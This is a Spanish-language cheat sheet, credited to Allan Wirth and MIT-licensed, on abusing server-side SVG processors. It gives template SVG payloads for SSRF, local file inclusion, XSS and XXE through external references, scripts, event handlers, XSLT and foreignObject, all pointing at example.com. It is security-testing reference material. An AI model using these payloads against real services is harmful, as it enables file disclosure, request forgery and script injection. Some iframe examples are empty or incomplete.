
Una chuleta para explotar procesadores SVG del lado del servidor.
Los hosts que procesan SVG pueden ser potencialmente vulnerables a SSRF, LFI, XSS, RCE debido al rico conjunto de características de SVG.
Todos estos métodos especifican una URI, que puede ser absoluta o relativa. Los protocolos file y HTTP son importantes de probar, pero también podría admitir otros protocolos dependiendo de la implementación (p. ej., esquemas de flujo de PHP), incluidos javascript: y data:.
Este documento contiene una lista de todas las formas que conozco para abusar de esta funcionalidad en SVG.
Ten en cuenta que algunos servicios que afirman no aceptar SVG como formato de entrada en realidad sí lo aceptan con un poco de persuasión.
file no incluye ningún magic de SVG, por lo que probablemente dependa de las implementaciones individuales.SVG puede incluir imágenes externas directamente mediante la etiqueta <image>.
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
Ten en cuenta que puedes usar esto para incluir también imágenes de otros SVG.
<use>SVG puede incluir contenido SVG externo mediante la etiqueta <use>.
file1.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="https://example.com/file2.svg#foo"/>
</svg>
file2.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<link>SVG puede incluir hojas de estilos externas mediante la etiqueta <link>, igual que HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
@include<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url(http://example.com/style.css);
</style>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<?xml-stylesheet?><?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
Los SVG pueden incluir hojas de estilos XSLT mediante <?xml-stylesheet?>. Sorprendentemente, esto parece funcionar en Chrome.
<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns="http://www.w3.org/2000/svg"
xmlns:svg="http://www.w3.org/2000/svg">
<xsl:output
method="xml"
indent="yes"
standalone="no"
doctype-public="-//W3C//DTD SVG 1.1//EN"
doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
media-type="image/svg" />
<xsl:template match="/svg:svg">
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
</svg>
</xsl:template>
</xsl:stylesheet>
Nota: debido a la naturaleza de XSLT, la entrada en realidad no tiene que ser un archivo SVG válido si se ignora la hoja de estilos XML, pero es útil para evadir filtros.
Además, como no tengo interés en aprender XSLT, esta plantilla simplemente reemplaza por completo la imagen "antigua" con la nueva.
SVG puede incluir JavaScript en línea de forma nativa, igual que HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
document.getElementById("foo").setAttribute("fill", "blue");
// ]]>
</script>
</svg>
SVG también puede incluir scripts externos.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<script src="http://example.com/script.js" type="text/javascript"/>
</svg>
SVG también puede tener manejadores de eventos en línea que se ejecutan al cargar (onload).
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>
También puedes vincular manejadores a animaciones y algunos otros eventos. Lee la especificación de SVG.
Debido a que SVG es XML, también puede tener XXE:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
<!-- an internal subset can be embedded here -->
<!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<text x="20" y="35">My &xxe;</text>
</svg>
<foreignObject>La etiqueta <foreignObject> es una locura. Puede usarse para incluir (X)HTML arbitrario en un SVG.
Por ejemplo, para incluir un iframe:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
</foreignObject>
</svg>
Si no tienes acceso a la red (p. ej., en una sandbox), puedes poner una URI de datos o una URI de JavaScript como destino del iframe:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
k
</foreignObject>
</svg>
Si aún no has tenido suficientes SVG, también puedes incluir más SVG mediante las etiquetas <object> o <embed>. Creo que probablemente sea teóricamente posible poner Flash allí también.
Ten en cuenta que, además, como estás en un espacio de nombres XML diferente, cualquier cosa que elimine solo svg:script podría no haber eliminado html:script (o algo similar para atributos).
Es posible incluir fuentes externas si alguna vez quisieras hacerlo, creo que tanto mediante CSS como mediante atributos nativos. Sin embargo, no es realmente útil porque las fuentes web requieren CORS por alguna razón que no entiendo del todo, relacionada con la DRM para los recursos de fuentes y para prevenir el hotlinking. Aunque supongo que a veces hay vulnerabilidades en los motores de fuentes.
Este ejemplo de la especificación SVG muestra el uso de un nodo tref para referenciar texto por URI; sin embargo, no parece funcionar en ningún visor que haya probado. Si existe una implementación que lo soporte, podría también admitir URIs externas para el href en el tref.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="10cm" height="3cm" viewBox="0 0 1000 300"
xmlns="http://www.w3.org/2000/svg" version="1.1"
xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<text id="ReferencedText">
Referenced character data
</text>
</defs>
<desc>Example tref01 - inline vs reference text content</desc>
<text x="100" y="100" font-size="45" fill="blue" >
Inline character data
</text>
<text x="100" y="200" font-size="45" fill="red" >
<tref xlink:href="#ReferencedText"/>
</text>
<!-- Show outline of canvas using 'rect' element -->
<rect x="1" y="1" width="998" height="298"
fill="none" stroke="blue" stroke-width="2" />
</svg>
Si conoces otros métodos o información/ejemplos relevantes, no dudes en abrir un issue/PR.
Si te resultó útil, ¡agradecería que me lo hicieras saber! Me alegra el día.
Copyright 2019 Allan Wirth <[email protected]>.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.